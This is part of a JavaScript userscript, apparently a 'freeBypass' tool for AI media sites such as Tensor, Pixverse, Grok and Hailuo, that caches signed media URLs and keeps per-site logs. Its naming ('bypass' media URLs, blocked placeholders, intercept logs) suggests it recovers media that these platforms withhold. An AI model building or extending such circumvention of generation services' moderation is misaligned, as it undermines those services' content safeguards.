// v3 adds per-URL expiry (expAt) derived from signed URL params (e.g., X-Amz-Expires)
const DOWNLOAD_URL_CACHE_STORAGE_VERSION = 3;
const DOWNLOAD_URL_CACHE_MAX_ENTRIES = 1200;
let downloadUrlCachePersistTimer = null;
let downloadUrlCacheLoadedFromStorage = false;
// Signed media URLs frequently expire (e.g. Cloudflare R2 S3-style signed URLs).
// Keep a safety buffer so we refresh before the server starts returning 403.
const SIGNED_URL_EXPIRY_SAFETY_MS = 30 * 1000;
const SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS = 2 * 60 * 1000;
function parseAmzDateToMs(value) {
// AWS style: 20260302T105416Z
const s = String(value || '').trim();
const m = s.match(/^(\d{4})(\d{2})(\d{2})T(\d{2})(\d{2})(\d{2})Z$/);
if (!m) return null;
const y = Number(m[1]);
const mo = Number(m[2]);
const d = Number(m[3]);
const hh = Number(m[4]);
const mm = Number(m[5]);
const ss = Number(m[6]);
if (![y, mo, d, hh, mm, ss].every(Number.isFinite)) return null;
return Date.UTC(y, mo - 1, d, hh, mm, ss);
}
function getSignedUrlExpiryMs(url) {
if (!url) return null;
try {
const u = new URL(String(url), location.href);
// Common params:
// - X-Amz-Date + X-Amz-Expires (seconds)
// - Expires (seconds) (sometimes present)
const amzDate = u.searchParams.get('X-Amz-Date') || u.searchParams.get('x-amz-date');
const amzExpires = u.searchParams.get('X-Amz-Expires') || u.searchParams.get('x-amz-expires');
const expRaw = amzExpires || u.searchParams.get('Expires') || u.searchParams.get('expires');
const expSeconds = expRaw != null ? Number(String(expRaw).trim()) : NaN;
if (!Number.isFinite(expSeconds) || expSeconds <= 0) return null;
const base = amzDate ? parseAmzDateToMs(amzDate) : null;
const startMs = base != null ? base : Date.now();
return startMs + (expSeconds * 1000);
} catch {
return null;
}
}
function normalizeCacheMeta(raw) {
// Legacy values were numbers (ts). New format: { ts, expAt }
if (typeof raw === 'number' && Number.isFinite(raw)) {
return { ts: raw, expAt: null };
}
if (raw && typeof raw === 'object') {
const ts = Number(raw.ts);
const expAt = raw.expAt == null ? null : Number(raw.expAt);
return {
ts: Number.isFinite(ts) && ts > 0 ? ts : Date.now(),
expAt: Number.isFinite(expAt) && expAt > 0 ? expAt : null
};
}
return { ts: Date.now(), expAt: null };
}
function setCacheMeta(key, meta) {
cacheTimestamps.set(key, {
ts: Number(meta?.ts) || Date.now(),
expAt: meta?.expAt == null ? null : (Number(meta.expAt) || null)
});
}
function isCacheEntryExpired(meta, now = Date.now()) {
const expAt = meta?.expAt;
if (!expAt || !Number.isFinite(expAt)) return false;
return now >= (expAt - SIGNED_URL_EXPIRY_SAFETY_MS);
}
function getSignedUrlRemainingMs(url, now = Date.now()) {
const expAt = getSignedUrlExpiryMs(url);
if (!expAt || !Number.isFinite(expAt)) return null;
return expAt - now;
}
function isUsableBypassMediaUrl(url, options = {}) {
if (!url || isBlockedPlaceholderUrl(url)) return false;
const minRemainingMs = Math.max(0, Number(options?.minRemainingMs) || 0);
const remainingMs = getSignedUrlRemainingMs(url);
if (remainingMs != null && remainingMs <= minRemainingMs) return false;
return true;
}
function getFreshCachedDownloadUrlForIntercept(imageId, mimeTypeHint = '', forceKind = '', minRemainingMs = SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS) {
const cached = getCachedDownloadUrl(imageId, mimeTypeHint, forceKind);
if (!cached) return null;
if (isUsableBypassMediaUrl(cached, { minRemainingMs })) return cached;
deleteCachedDownloadUrl(imageId);
return null;
}
function attachAutoRefreshOnMediaError(mediaEl, imageId, mimeTypeHint = '', options = {}) {
if (!mediaEl || !imageId) return;
const forceKind = options.forceKind || getMediaKindFromMime(mimeTypeHint) || '';
let retried = false;
const onErr = async () => {
if (retried) return;
retried = true;
try {
deleteCachedDownloadUrl(imageId);
const fresh = await ensureDownloadUrl(imageId, mimeTypeHint, { bypassCache: true, forceKind });
if (!fresh) return;
if (mediaEl.tagName === 'VIDEO') {
try {
mediaEl.pause?.();
} catch {}
// Reset then set (some browsers cache failed sources)
try {
mediaEl.removeAttribute('src');
mediaEl.load?.();
} catch {}
mediaEl.src = fresh;
try {
mediaEl.load?.();
} catch {}
} else {
mediaEl.src = fresh;
if (mediaEl.srcset != null) {
try {
mediaEl.srcset = `${fresh} 1x`;
} catch {}
}
}
} catch {
// ignore
}
};
try {
mediaEl.addEventListener('error', onErr, { once: false });
} catch {
// ignore
}
}
function shouldPersistDownloadCacheKey(cacheKey) {
// Requirement: persist video download endpoint resolutions across refresh.
// Cache keys are of the form `${imageId}|${kind}`.
return typeof cacheKey === 'string' && cacheKey.endsWith('|video');
}
function pruneDownloadUrlCacheInMemory() {
if (!settings.cachingEnabled) return;
const maxAgeMs = (Number(settings.cacheDuration) || 7) * 24 * 60 * 60 * 1000;
const now = Date.now();
for (const [key, rawMeta] of cacheTimestamps.entries()) {
const url = downloadUrlCache.get(key);
const meta = normalizeCacheMeta(rawMeta);
// Backfill expAt if possible
if (!meta.expAt && url) {
const expAt = getSignedUrlExpiryMs(url);
if (expAt) {
meta.expAt = expAt;
setCacheMeta(key, meta);
}
}
if (isCacheEntryExpired(meta, now) || (now - meta.ts) > maxAgeMs) {
downloadUrlCache.delete(key);
cacheTimestamps.delete(key);
}
}
}
function loadDownloadUrlCacheFromStorage() {
if (downloadUrlCacheLoadedFromStorage) return;
downloadUrlCacheLoadedFromStorage = true;
try {
const raw = localStorage.getItem(DOWNLOAD_URL_CACHE_STORAGE_KEY);
if (!raw) return;
const parsed = JSON.parse(raw);
if (!parsed || typeof parsed !== 'object') return;
// Accept older versions for migration.
if (parsed.v && ![2, 3].includes(Number(parsed.v))) {
// Unknown version; ignore.
return;
}
const items = parsed.items;
if (!items || typeof items !== 'object') return;
let loaded = 0;
for (const [key, entry] of Object.entries(items)) {
if (!shouldPersistDownloadCacheKey(key)) continue;
const url = typeof entry?.url === 'string' ? entry.url : null;
const ts = Number(entry?.ts);
const expAt = entry?.expAt == null ? null : Number(entry?.expAt);
if (!url) continue;
downloadUrlCache.set(key, url);
const meta = {
ts: (Number.isFinite(ts) && ts > 0) ? ts : Date.now(),
expAt: (Number.isFinite(expAt) && expAt > 0) ? expAt : (getSignedUrlExpiryMs(url) || null)
};
setCacheMeta(key, meta);
loaded += 1;
}
if (domInjectDebug && loaded > 0) {
console.log('[Cache] Loaded persisted video URLs:', loaded);
}
pruneDownloadUrlCacheInMemory();
} catch (err) {
if (domInjectDebug) console.warn('[Cache] Failed to load persisted download URL cache:', err);
}
}
function persistDownloadUrlCacheNow() {
if (!settings.cachingEnabled) return;
try {
pruneDownloadUrlCacheInMemory();
const entries = [];
for (const [key, url] of downloadUrlCache.entries()) {
if (!shouldPersistDownloadCacheKey(key)) continue;
if (!url || typeof url !== 'string') continue;
const meta = normalizeCacheMeta(cacheTimestamps.get(key));
// Backfill expAt if missing
if (!meta.expAt) {
const expAt = getSignedUrlExpiryMs(url);
if (expAt) meta.expAt = expAt;
}
entries.push({ key, url, ts: Number(meta.ts) || Date.now(), expAt: meta.expAt || null });
}
// Keep newest entries only to avoid quota issues.
entries.sort((a, b) => (b.ts || 0) - (a.ts || 0));
const limited = entries.slice(0, DOWNLOAD_URL_CACHE_MAX_ENTRIES);
const payload = {
v: DOWNLOAD_URL_CACHE_STORAGE_VERSION,
savedAt: Date.now(),
items: Object.fromEntries(limited.map(e => [e.key, { url: e.url, ts: e.ts, expAt: e.expAt }]))
};
// Uses quota-safe helper (defined later).
safeLocalStorageSet(DOWNLOAD_URL_CACHE_STORAGE_KEY, JSON.stringify(payload));
} catch (err) {
if (domInjectDebug) console.warn('[Cache] Failed to persist download URL cache:', err);
}
}
function schedulePersistDownloadUrlCache() {
if (!settings.cachingEnabled) return;
if (downloadUrlCachePersistTimer) return;
downloadUrlCachePersistTimer = setTimeout(() => {
downloadUrlCachePersistTimer = null;
persistDownloadUrlCacheNow();
}, 700);
}
// Hydrate in-memory cache from localStorage as early as possible.
loadDownloadUrlCacheFromStorage();
// Ensure we don't lose newly resolved video URLs on fast refresh/navigation.
window.addEventListener('pagehide', () => {
try {
if (settings.cachingEnabled) persistDownloadUrlCacheNow();
} catch {
// ignore
}
});
document.addEventListener('visibilitychange', () => {
try {
if (document.visibilityState === 'hidden' && settings.cachingEnabled) persistDownloadUrlCacheNow();
} catch {
// ignore
}
});
// Developer systems storage
const DEV_INJECT_TASKS_KEY = 'freeBypassDevInjectTasks';
const DEV_LOGS_KEY = 'freeBypassDeveloperLogs';
function setDevelopersSubTab(tabId) {
developersSubTab = tabId;
localStorage.setItem('freeBypassDevelopersSubTab', developersSubTab);
}
function loadDeveloperLogs() {
try {
const raw = localStorage.getItem(DEV_LOGS_KEY);
if (!raw) return [];
const parsed = JSON.parse(raw);
if (Array.isArray(parsed)) return parsed;
if (parsed && Array.isArray(parsed.items)) return parsed.items;
return [];
} catch {
return [];
}
}
function saveDeveloperLogs(items) {
try {
localStorage.setItem(DEV_LOGS_KEY, JSON.stringify(items || []));
} catch (err) {
// If storage is full, try to truncate aggressively.
try {
const trimmed = Array.isArray(items) ? items.slice(-Math.max(50, Math.min(settings.developerMaxLogs || 500, 200))) : [];
localStorage.setItem(DEV_LOGS_KEY, JSON.stringify(trimmed));
} catch {
// no-op
}
if (domInjectDebug) console.warn('[DeveloperLogs] Failed to save logs:', err);
}
}
function addDeveloperLog(entry) {
const max = Math.max(50, Math.min(5000, Number(settings.developerMaxLogs) || 500));
const logs = loadDeveloperLogs();
const safe = {
id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
ts: new Date().toISOString(),
level: entry?.level || 'info',
tag: entry?.tag || 'developer',
source: entry?.source || 'unknown',
message: entry?.message || '',
details: entry?.details || null,
url: location.href
};
logs.push(safe);
if (logs.length > max) {
logs.splice(0, logs.length - max);
}
saveDeveloperLogs(logs);
return safe;
}
function devLog(source, message, details = null, level = 'info', tag = 'developer') {
return addDeveloperLog({ source, message, details, level, tag });
}
const TENSOR_INTERCEPT_LOGS_KEY = 'freeBypassTensorInterceptLogsV1';
function loadTensorInterceptLogs() {
try {
const raw = localStorage.getItem(TENSOR_INTERCEPT_LOGS_KEY);
if (!raw) return [];
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed : [];
} catch {
return [];
}
}
function saveTensorInterceptLogs(logs) {
try {
localStorage.setItem(TENSOR_INTERCEPT_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
} catch {
// ignore
}
}
function clearTensorInterceptLogs() {
saveTensorInterceptLogs([]);
}
function freeInternetConsoleLog(scope, level, message, details = null) {
const normalizedLevel = String(level || 'info').toLowerCase();
const palette = normalizedLevel === 'error'
? { badge: '#ef4444', text: '#fee2e2', border: 'rgba(239,68,68,0.45)' }
: normalizedLevel === 'warn' || normalizedLevel === 'warning'
? { badge: '#f59e0b', text: '#fef3c7', border: 'rgba(245,158,11,0.45)' }
: normalizedLevel === 'success'
? { badge: '#22c55e', text: '#dcfce7', border: 'rgba(34,197,94,0.45)' }
: { badge: '#38bdf8', text: '#e0f2fe', border: 'rgba(56,189,248,0.45)' };
const method = normalizedLevel === 'error'
? 'error'
: (normalizedLevel === 'warn' || normalizedLevel === 'warning' ? 'warn' : 'log');
const safeScope = String(scope || 'UI').trim() || 'UI';
const badgeStyle = `background:${palette.badge};color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid ${palette.border};`;
const textStyle = `color:${palette.text};font-weight:700;`;
if (details != null) {
console[method](`%cFREEInternet ${safeScope}%c ${String(message || '')}`, badgeStyle, textStyle, details);
return;
}
console[method](`%cFREEInternet ${safeScope}%c ${String(message || '')}`, badgeStyle, textStyle);
}
function tensorInterceptConsoleLog(level, message, details = null) {
if (!IS_TENSOR_DOMAIN) return;
freeInternetConsoleLog('Tensor', level, message, details);
}
function addTensorInterceptUiLog(level, message, details = null) {
tensorInterceptConsoleLog(level, message, details);
if (!settings.tensorInterceptEnableUiLogs) return;
const max = Math.max(50, Math.min(5000, Number(settings.tensorInterceptMaxLogs) || 600));
const logs = loadTensorInterceptLogs();
logs.push({
id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
ts: new Date().toISOString(),
level: String(level || 'info').toLowerCase(),
message: String(message || ''),
details: details || null
});
if (logs.length > max) logs.splice(0, logs.length - max);
saveTensorInterceptLogs(logs);
refreshLiveLogPanel('tensorIntercept');
}
function tensorInterceptLog(level, message, details = null) {
addTensorInterceptUiLog(level, message, details);
}
function exportTensorInterceptLogsToJson() {
const logs = loadTensorInterceptLogs();
const payload = {
kind: 'bypass-tensor-intercept-logs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: logs.length,
source: {
domain: window.location.hostname,
href: window.location.href
},
items: logs
};
downloadJsonFile(`bypass_tensor_intercept_logs_${buildExportTimestamp()}.json`, payload);
showToast(`Exported ${logs.length} Tensor intercept log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
}
async function copyTensorInterceptLogsToClipboard() {
const logs = loadTensorInterceptLogs();
const text = JSON.stringify({
kind: 'bypass-tensor-intercept-logs-copy',
exportedAt: new Date().toISOString(),
count: logs.length,
items: logs
}, null, 2);
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(text);
showToast('Tensor intercept logs copied to clipboard', 'success');
return;
}
downloadTextFile(`bypass_tensor_intercept_logs_${buildExportTimestamp()}.txt`, text, 'text/plain');
showToast('Clipboard unavailable, downloaded Tensor intercept logs as text', 'warning');
}
class DigenIndexedStore {
static dbName = 'digenS';
static dbVersion = 1;
static dbp = null;
static storesToCreate = new Set();
constructor({ storeName }) {
if (!storeName) throw new Error('storeName is required');
this.storeName = storeName;
DigenIndexedStore.storesToCreate.add(storeName);
}
async init() {
if (DigenIndexedStore.dbp) return DigenIndexedStore.dbp;
DigenIndexedStore.dbp = new Promise((resolve, reject) => {
const request = indexedDB.open(DigenIndexedStore.dbName, DigenIndexedStore.dbVersion);
request.onupgradeneeded = (e) => {
const db = e.target.result;
for (const storeName of DigenIndexedStore.storesToCreate) {
if (!db.objectStoreNames.contains(storeName)) {
db.createObjectStore(storeName, { keyPath: 'id' });
}
}
};
request.onsuccess = (e) => resolve(e.target.result);
request.onerror = (e) => reject(e.target.error);
});
return DigenIndexedStore.dbp;
}
async get(id) {
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const req = tx.objectStore(this.storeName).get(id);
req.onsuccess = (e) => resolve(e.target.result);
req.onerror = (e) => reject(e.target.error);
});
}
async getAll(filterFn, sortField = 'created_at', desc = true) {
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const req = tx.objectStore(this.storeName).getAll();
req.onsuccess = (e) => {
let result = e.target.result || [];
if (typeof filterFn === 'function') result = result.filter(filterFn);
result.sort((a, b) => {
const aValue = a?.[sortField] ?? a?.createdAtTimestamp ?? a?.createdAt;
const bValue = b?.[sortField] ?? b?.createdAtTimestamp ?? b?.createdAt;
if (!aValue || !bValue) return 0;
const aDate = new Date(aValue);
const bDate = new Date(bValue);
return desc ? bDate - aDate : aDate - bDate;
});
resolve(result);
};
req.onerror = (e) => reject(e.target.error);
});
}
async put(record) {
if (!record || !record.id) throw new Error('Record must have an id');
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const req = tx.objectStore(this.storeName).put(record);
req.onsuccess = () => resolve(record);
req.onerror = (e) => reject(e.target.error);
});
}
async clear() {
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const req = tx.objectStore(this.storeName).clear();
req.onsuccess = () => resolve(true);
req.onerror = (e) => reject(e.target.error);
});
}
}
const digenJobs = new DigenIndexedStore({ storeName: 'jobs' });
const DIGEN_LOGS_KEY = 'freeBypassDigenLogsV1';
function loadDigenLogs() {
try {
const raw = localStorage.getItem(DIGEN_LOGS_KEY);
if (!raw) return [];
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed : [];
} catch {
return [];
}
}
function saveDigenLogs(logs) {
try {
localStorage.setItem(DIGEN_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
} catch {
// ignore
}
}
function addDigenUiLog(level, message, details = null) {
if (!settings.digenEnableUiLogs) return;
const max = Math.max(50, Math.min(5000, Number(settings.digenMaxLogs) || 500));
const logs = loadDigenLogs();
logs.push({
id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
ts: new Date().toISOString(),
level: String(level || 'info').toLowerCase(),
message: String(message || ''),
details: details || null
});
if (logs.length > max) logs.splice(0, logs.length - max);
saveDigenLogs(logs);
refreshLiveLogPanel('digen');
}
function clearDigenUiLogs() {
saveDigenLogs([]);
}
function buildExportTimestamp() {
const d = new Date();
const pad = (n) => String(n).padStart(2, '0');
return `${d.getFullYear()}${pad(d.getMonth() + 1)}${pad(d.getDate())}_${pad(d.getHours())}${pad(d.getMinutes())}${pad(d.getSeconds())}`;
}
async function exportDigenJobsToJson() {
const jobs = await getDigenJobsForUi();
const payload = {
kind: 'bypass-digen-jobs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: jobs.length,
source: {
domain: window.location.hostname,
href: window.location.href
},
items: jobs
};
downloadJsonFile(`bypass_digen_jobs_${buildExportTimestamp()}.json`, payload);
addDigenUiLog('success', 'Exported Digen jobs to JSON', { count: jobs.length });
showToast(`Exported ${jobs.length} Digen item(s)`, 'success');
}
function exportDigenLogsToJson() {
const logs = loadDigenLogs();
const payload = {
kind: 'bypass-digen-logs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: logs.length,
source: {
domain: window.location.hostname,
href: window.location.href
},
items: logs
};
downloadJsonFile(`bypass_digen_logs_${buildExportTimestamp()}.json`, payload);
addDigenUiLog('success', 'Exported Digen logs to JSON', { count: logs.length });
showToast(`Exported ${logs.length} Digen log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
}
async function getDigenJobsForUi() {
try {
const all = await digenJobs.getAll(null, 'created_at', true);
return Array.isArray(all) ? all : [];
} catch (err) {
addDigenUiLog('error', 'Failed to read Digen jobs from IndexedDB', { error: String(err?.message || err) });
return [];
}
}
async function upsertDigenJob(record, reason = 'unknown') {
if (!record || record.id == null) return null;
const idNum = Number(record.id);
const id = Number.isFinite(idNum) ? idNum : record.id;
const existing = await digenJobs.get(id).catch(() => null);
const merged = { ...(existing || {}), ...record, id };
await digenJobs.put(merged);
addDigenUiLog(existing ? 'info' : 'success', existing ? 'Updated Digen job' : 'Added Digen job', {
id,
reason,
status: merged?.status ?? null,
hasThumb: !!(merged?.thumbnail || merged?.resource_urls?.[0]?.thumbnail)
});
return merged;
}
function loadPixverseLogs() {
try {
const raw = localStorage.getItem(PIXVERSE_LOGS_KEY);
if (!raw) return [];
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed : [];
} catch {
return [];
}
}
function savePixverseLogs(logs) {
try {
localStorage.setItem(PIXVERSE_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
} catch {
// ignore
}
}
function addPixverseUiLog(level, message, details = null) {
if (!settings.pixverseEnableUiLogs) return;
const max = Math.max(50, Math.min(5000, Number(settings.pixverseMaxLogs) || 500));
const logs = loadPixverseLogs();
logs.push({
id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
ts: new Date().toISOString(),
level: String(level || 'info').toLowerCase(),
message: String(message || ''),
details: details || null
});
if (logs.length > max) logs.splice(0, logs.length - max);
savePixverseLogs(logs);
refreshLiveLogPanel('pixverse');
}
function clearPixverseUiLogs() {
savePixverseLogs([]);
}
function exportPixverseLogsToJson() {
const logs = loadPixverseLogs();
const payload = {
kind: 'bypass-pixverse-logs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: logs.length,
source: {
domain: window.location.hostname,
href: window.location.href
},
items: logs
};
downloadJsonFile(`bypass_pixverse_logs_${buildExportTimestamp()}.json`, payload);
showToast(`Exported ${logs.length} Pixverse log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
}
async function copyPixverseLogsToClipboard() {
const logs = loadPixverseLogs();
const text = JSON.stringify({
kind: 'bypass-pixverse-logs-copy',
exportedAt: new Date().toISOString(),
count: logs.length,
items: logs
}, null, 2);
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(text);
showToast('Pixverse logs copied to clipboard', 'success');
return;
}
downloadTextFile(`bypass_pixverse_logs_${buildExportTimestamp()}.txt`, text, 'text/plain');
showToast('Clipboard unavailable, downloaded logs as text file', 'warning');
}
function loadPixverseMediaCache() {
try {
const raw = localStorage.getItem(PIXVERSE_MEDIA_CACHE_KEY);
if (!raw) return {};
const parsed = JSON.parse(raw);
return parsed && typeof parsed === 'object' ? parsed : {};
} catch {
return {};
}
}
function savePixverseMediaCache(cache) {
try {
localStorage.setItem(PIXVERSE_MEDIA_CACHE_KEY, JSON.stringify(cache || {}));
} catch {
// ignore
}
}
function upsertPixverseMediaEntry(entry = {}) {
if (!settings.pixverseCaptureMediaLinks) return;
const id = String(entry.id || entry.mediaId || entry.asset_id || entry.image_id || entry.video_id || '').trim();
const url = String(entry.url || entry.video_url || entry.image_url || entry.previewUrl || '').trim();
if (!id || !url) {
addPixverseUiLog('warn', 'Skipped media cache upsert (missing id/url)', {
idCandidate: id || null,
hasUrl: !!url,
source: entry?.source || null,
type: entry?.type || entry?.mediaType || null
});
return;
}
const cache = loadPixverseMediaCache();
const previous = cache[id] || {};
const normalizedType = entry.mediaType || entry.type || previous.mediaType || (String(entry.mimeType || '').startsWith('video/') ? 'video' : (String(url).includes('.mp4') ? 'video' : 'image'));
const normalizedSource = entry.source || previous.source || 'pixverse';
const now = Date.now();
const next = {
...previous,
id,
mediaId: entry.mediaId || previous.mediaId || id,
taskId: entry.taskId || previous.taskId || null,
url,
previewUrl: entry.previewUrl || previous.previewUrl || '',
source: normalizedSource,
mediaType: normalizedType,
mimeType: entry.mimeType || previous.mimeType || '',
width: entry.width || previous.width || null,
height: entry.height || previous.height || null,
createdAt: entry.createdAt || previous.createdAt || null,
updatedAt: now,
name: entry.name || previous.name || '',
raw: entry.raw || previous.raw || null
};
const overwrite = {};
if (previous.url && previous.url !== next.url) overwrite.url = { from: previous.url, to: next.url };
if (previous.previewUrl && previous.previewUrl !== next.previewUrl) overwrite.previewUrl = { from: previous.previewUrl, to: next.previewUrl };
if (previous.mediaType && previous.mediaType !== next.mediaType) overwrite.mediaType = { from: previous.mediaType, to: next.mediaType };
if (previous.source && previous.source !== next.source) overwrite.source = { from: previous.source, to: next.source };
if (previous.taskId && previous.taskId !== next.taskId) overwrite.taskId = { from: previous.taskId, to: next.taskId };
cache[id] = next;
savePixverseMediaCache(cache);
if (!Object.keys(previous).length) {
addPixverseUiLog('success', 'Cached new Pixverse media entry', {
id,
source: normalizedSource,
mediaType: normalizedType,
taskId: next.taskId || null
});
} else if (Object.keys(overwrite).length) {
addPixverseUiLog('info', 'Updated Pixverse cache entry (overwrite detected)', {
id,
source: normalizedSource,
mediaType: normalizedType,
overwrite
});
}
}
function getPixverseMediaEntries() {
const cache = loadPixverseMediaCache();
return Object.values(cache).sort((a, b) => Number(b.updatedAt || 0) - Number(a.updatedAt || 0));
}
function loadGrokLogs() {
try {
const raw = localStorage.getItem(GROK_LOGS_KEY);
if (!raw) return [];
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed : [];
} catch {
return [];
}
}
function saveGrokLogs(logs) {
try {
localStorage.setItem(GROK_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
} catch {
// ignore
}
}
function addGrokUiLog(level, message, details = null) {
if (!settings.grokEnableUiLogs) return;
const max = Math.max(50, Math.min(5000, Number(settings.grokMaxLogs) || 500));
const logs = loadGrokLogs();
logs.push({
id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
ts: new Date().toISOString(),
level: String(level || 'info').toLowerCase(),
message: String(message || ''),
details: details || null
});
if (logs.length > max) logs.splice(0, logs.length - max);
saveGrokLogs(logs);
refreshLiveLogPanel('grok');
}
function clearGrokUiLogs() {
saveGrokLogs([]);
}
function exportGrokLogsToJson() {
const logs = loadGrokLogs();
const payload = {
kind: 'bypass-grok-logs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: logs.length,
source: {
domain: window.location.hostname,
href: window.location.href
},
items: logs
};
downloadJsonFile(`bypass_grok_logs_${buildExportTimestamp()}.json`, payload);
showToast(`Exported ${logs.length} Grok log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
}
function loadGrokMediaCache() {
try {
const raw = localStorage.getItem(GROK_MEDIA_CACHE_KEY);
if (!raw) return {};
const parsed = JSON.parse(raw);
return parsed && typeof parsed === 'object' ? parsed : {};
} catch {
return {};
}
}
function saveGrokMediaCache(cache) {
try {
localStorage.setItem(GROK_MEDIA_CACHE_KEY, JSON.stringify(cache || {}));
} catch {
// ignore
}
}
function normalizeGrokMediaUrl(value = '', mediaType = 'video') {
const input = String(value || '').trim();
if (!input) return '';
if (/^https?:\/\//i.test(input)) return input;
const clean = input.replace(/^\/+/, '');
// Prefer Grok asset host for user/generated paths.
if (/^(users|generated)\//i.test(clean) || clean.includes('/generated/')) {
return `https://assets.grok.com/${clean}`;
}
// Keep imagine-public support for known share paths.
if (/^(imagine-public|share-images|share-videos)\//i.test(clean) || /share-images|share-videos/i.test(clean)) {
return `https://imagine-public.x.ai/${clean}`;
}
// Absolute-like path fallback: assume Grok assets first.
if (input.startsWith('/')) return `https://assets.grok.com${input}`;
// Relative paths with slashes should resolve to assets.grok.com.
if (clean.includes('/')) return `https://assets.grok.com/${clean}`;
// Bare IDs are ambiguous and often produce wrong links; skip.
return '';
}
function upsertGrokMediaEntry(entry = {}) {
if (!settings.grokCaptureMediaLinks) return;
const rawType = String(entry.mediaType || entry.type || '').toLowerCase();
const mediaType = rawType === 'image' ? 'image' : (rawType === 'video' ? 'video' : (String(entry.url || '').includes('.mp4') ? 'video' : 'image'));
const normalizedUrl = normalizeGrokMediaUrl(
entry.url || entry.mediaUrl || entry.videoUrl || entry.imageUrl || entry.videoId || entry.imageId || entry.imageReference || '',
mediaType
);
const id = String(entry.id || entry.mediaId || entry.videoId || entry.imageId || entry.asset_id || normalizedUrl || '').trim();
if (!id || !normalizedUrl) return;
const cache = loadGrokMediaCache();
const prev = cache[id] || {};
cache[id] = {
...prev,
id,
taskId: entry.taskId || prev.taskId || null,
mediaType,
url: normalizedUrl,
previewUrl: String(entry.previewUrl || prev.previewUrl || normalizedUrl),
source: String(entry.source || prev.source || 'grok-capture'),
mimeType: String(entry.mimeType || prev.mimeType || (mediaType === 'video' ? 'video/mp4' : 'image/jpeg')),
updatedAt: Date.now(),
raw: entry.raw || prev.raw || null
};
saveGrokMediaCache(cache);
// Intentionally avoid auto-refreshing UI on every captured media event.
// User can refresh manually from the Grok Items tab.
}
function getGrokMediaEntries() {
const cache = loadGrokMediaCache();
return Object.values(cache).sort((a, b) => Number(b.updatedAt || 0) - Number(a.updatedAt || 0));
}
// ============================================================================
// HAILUO (hailuoai.video / hailuoai.com) CACHE + LOGS
// NOTE: This module is intentionally limited to *capturing and organizing media URLs
// that are already present in the page/DOM*. It does not implement moderation/paywall
// bypassing, response forgery, or CSP evasion.
// ============================================================================
function hailuoReadSharedStoreSync(key, fallback) {
// Prefer userscript storage so hailuoai.video and hailuoai.com share one cache.
try {
if (typeof GM_getValue === 'function') {
const raw = GM_getValue(key, null);
if (raw != null) return raw;
}
} catch {
// ignore
}
// Fallback: origin-local storage.
try {
const raw = localStorage.getItem(key);
if (!raw) return fallback;
return JSON.parse(raw);
} catch {
return fallback;
}
}
function hailuoWriteSharedStore(key, value) {
try {
if (typeof GM_setValue === 'function') {
GM_setValue(key, value);
}
} catch {
// ignore
}
try {
if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
GM.setValue(key, value).catch(() => {});
}
} catch {
// ignore
}
try {
localStorage.setItem(key, JSON.stringify(value));
} catch {
// ignore
}
}
function loadHailuoLogs() {
const raw = hailuoReadSharedStoreSync(HAILUO_LOGS_KEY, []);
return Array.isArray(raw) ? raw : [];
}
function saveHailuoLogs(logs) {
hailuoWriteSharedStore(HAILUO_LOGS_KEY, Array.isArray(logs) ? logs : []);
}
function addHailuoUiLog(level, message, details = null) {
if (!settings.hailuoEnableUiLogs) return;
const max = Math.max(50, Math.min(5000, Number(settings.hailuoMaxLogs) || 500));
const logs = loadHailuoLogs();
logs.push({
id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
ts: new Date().toISOString(),
level: String(level || 'info').toLowerCase(),
message: String(message || ''),
details: details || null
});
if (logs.length > max) logs.splice(0, logs.length - max);
saveHailuoLogs(logs);
refreshLiveLogPanel('hailuo');
}
function clearHailuoUiLogs() {
saveHailuoLogs([]);
}
function exportHailuoLogsToJson() {
const logs = loadHailuoLogs();
const payload = {
kind: 'bypass-hailuo-logs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: logs.length,
source: {
domain: window.location.hostname,
href: window.location.href
},
items: logs
};
downloadJsonFile(`bypass_hailuo_logs_${buildExportTimestamp()}.json`, payload);
showToast(`Exported ${logs.length} Hailuo log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
}
function loadHailuoMediaCache() {
const raw = hailuoReadSharedStoreSync(HAILUO_MEDIA_CACHE_KEY, {});
return raw && typeof raw === 'object' ? raw : {};
}
function saveHailuoMediaCache(cache) {
hailuoWriteSharedStore(HAILUO_MEDIA_CACHE_KEY, cache && typeof cache === 'object' ? cache : {});
}
function hailuoInferMediaType(url) {
const u = String(url || '').toLowerCase();
if (u.includes('.mp4') || u.includes('.webm') || u.includes('.mov') || u.includes('.m4v') || u.includes('.m3u8')) return 'video';
